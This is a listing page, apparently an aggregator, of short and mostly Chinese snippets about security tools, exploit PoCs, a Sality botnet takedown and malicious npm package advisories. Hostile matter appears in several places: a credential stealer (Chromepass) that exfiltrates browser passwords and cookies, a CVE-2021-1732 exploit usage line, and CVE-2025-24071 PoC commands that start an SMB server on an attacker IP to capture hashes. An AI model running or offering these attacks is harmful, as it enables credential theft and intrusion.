kalici-dosya-silme-araci

永久文件删除工具 & Kalıcı Dosya Silme Aracı 该项目是一个简单的工具，允许用户永久删除指定文件。程序会用随机数据覆盖指定文件，更改文件内容，然后将其删除，从而有效清除磁盘上该文件的所有痕迹。 功能特性 提供用户友好的界面。 允许选择要删除的文件。 使用户能够指定随机数据覆盖文件的次数。 通过信息对话框告知用户操作结果。 可作为 Python 脚本（deleter.py）或独立可执行 Windows 应用程序（deleter.exe）使用。 使用方法 1. 将项目文件下载或克隆到计算机。 2. 运行 deleter.py 文件，在 Python 环境中执行该工具。...

PS2EXE

AI free repository - 人工智能正在扼杀创造力和我们的天性！ PS2EXE 对Ingo Karstein的出色脚本的增强，增加了GUI支持。GUI输出和输入通过一个开关激活，生成真正的Windows可执行文件。仅编译Powershell 5.x兼容脚本。带有可选的图形前端Win-PS2EXE。 模块版本。 您可以在以下位置找到基于脚本的版本：https://github.com/MScholtes/TechNet-Gallery 作者：Markus Scholtes 版本：1.0.18 日期：2026-06-06 安装 root@kitploit: PS C:...

chromepass

Chromepass - 破解Chrome保存的密码和Cookie 查看演示 · 报告Bug · 请求功能 目录 关于项目 AV检测 快速开始 先决条件 安装 使用方法 电子邮件 错误、Bug和功能请求 了解更多 许可证 演示 关于项目 Chromepass 是一个基于 Python 的控制台应用程序，可生成一个具有以下功能的 Windows 可执行文件： 解密 Google Chrome、Chromium、Edge、Brave、Opera 和 Vivaldi 保存的密码和 Cookie 远程发送包含登录名/密码组合和 Cookie 的文件（通过 HTTP 服务器或电子邮件）...

PKCS11SSHAgent

SRO PKCS11 – SSH Agent CNG 主权统一 PKCS11 + SSH-agent + Pageant + CNG/智能卡 一个独特的 Windows 可执行文件，统一了传统上分离的四种功能： 完整的 PKCS11 模块（Firefox、OpenSC、ssh -I） 兼容 OpenSSH/Git/VS/WSL 的 SSH 代理 兼容 PuTTY/plink/pscp 的 Pageant 服务器 用于智能卡的安全 CNG/KSP 编排器 目录 1. 哲学 2. 架构 3. 执行模式 4. 安装 5. 配置 6. 支持的协议 7. PIN 管理 8. CNG 后端 9. 安...

Exe2Image

Exe2Image 一个简单的工具，用于将EXE文件转换为PNG图像，反之亦然。 下载： https://github.com/OsandaMalith/Exe2Image/releases 截图 将Putty.exe转换为图像。...

RawrXDA

RawrXD PE 编写器 - 完整实现 概述 这是一个完整的 PE32+ 编写器和机器码发射器，使用纯 x64 MASM 汇编实现，零依赖，不使用 C 运行时库。它从零生成可运行的 Windows 可执行文件。 架构 PE 编写器采用后端设计器方法，提供简洁的 API 用于： 创建 PE 可执行上下文 添加导入，包含正确的 IAT/INT 结构 发射机器码，带节管理 写入完整的 PE 文件，包含所有必需的头部 核心组件 1. 定义的结构 IMAGEDOSHEADER ：标准 DOS 头部，带 elfanew 指针 IMAGENTHEADERS64 ：包含文件头部和可选头部的 NT 头部...

VSSCopy

VSSCopy 用于 CVE-2021-36934 的小型简陋 PoC 用法： VSSCopy.exe C:\temp 致谢： https://twitter.com/jonasLyk https://twitter.com/gentilkiwi...

aDLL

aDLL - 动态链接库冒险 aDLL 是一款专注于自动发现 DLL 劫持漏洞的二进制分析工具。该工具分析加载到内存中的二进制映像，以搜索在加载时加载的 DLL，并利用 Microsoft Detours 库拦截对 LoadLibrary/LoadLibraryEx 函数的调用，从而分析运行时加载的 DLL。其目的是获取可执行文件在搜索目录中未能找到的 DLL 列表。 开始使用 要开始使用 aDLL，Binaries 文件夹中提供了一个已编译的可执行文件。建议使用与待分析可执行文件架构（32 位或 64 位）相匹配的版本。 为使工具正常运行，必须将...

CVE-2021-1732_exp

CVE-2021-1732-Exploit CVE-2021-1732 Exploit "请不要用于任何违法行为，否则后果自负！" EXP use CVE-2021-1732exploit.exe whoami Resource: https://bbs.pediy.com/thread-266362.htm...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

Authorities Turn Sality's P2P Network Against Itself, Cutting Off New Malware Payloads

The U.S. Department of Justice DoJ on Tuesday announced the takedown of a long-standing peer-to-peer P2P botnet known as Sality as part of a coordinated law enforcement operation. The effort was undertaken on August 31, 2026, by authorities from the U.S., Bulgaria, Hungary, and Romania, in...

MAL-2026-14046 Malicious code in @ghost_debugger/nanocache (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c027fa29f4577bd052bfda553a617994365ea5855216b877e900610542f4bcce On require/import, the package spawns a bundled 1.1 MB Windows executable at vendor/nanocache.exe as a detached background process with stdio ignored...

MAL-2026-13630 Malicious code in @rbx-ts/services (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9476bbe7c2ce12348142e93deffe53c9d4d6dfef3400030af81cff902bac5935 This package impersonates the @rbxts/services Roblox typings library and re-exports its public API in index.js as cover. Its postinstall script...

Malicious code in beaver-ui-smart-filter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a9aeae07ad8c21acdd73d30a24723d30ef468f03a3412e21ea4bf726f27c2f12 The package is advertised as a React UI filter component but on require of index.js loads adapter.js, which assembles remote hostnames from split...

Malicious code in streak-math-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e5ca17a73b4b4b7a21d7ccbad12df26ca3c6ad524689f2e1520bd34724b61fbb On module import, index.js decodes a hex-obfuscated string table to reconstruct a Backblaze B2 URL and a set of Windows filesystem paths, then gates...

MAL-2026-12464 Malicious code in streak-daybucket (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 799caca8e351ad8d1144b26eb0c38ffdf06afb415f63a320e6ea455968996aa0 [email protected] presents itself as a day-bucket / streak math utility but its index.mjs embeds a hex-encoded Windows PE binary leading 4D5A90...

Malicious code in streak-math-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6ba4f1a9b23ca375fed98868d8ca488ec722b473060834412b0b1b23f5cae37a [email protected] is advertised as a math primitives library but its index.mjs top-level IIFE bootstrap runs on any import and drops a hex-embedd...

Malicious code in twork-data-services-getting-arrests (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fcfe9505e3a40e8cd4c314f982901e6cbc0c988fbe6ae5fef58c6c1dc5b78a33 [email protected] acts as a binary dropper. index.js top-level requires./support.js, whose start runs at load time: it selec...

Malicious code in @types-beta/sdk (npm)

The npm package @types-beta/sdk is a supply-chain dropper that impersonates the trusted @types DefinitelyTyped namespace to look like a routine type-definition dependency. It bundles a Windows executable vendor/nanocache.exe and launches it as an import-time side effect: dist/index.js calls init ...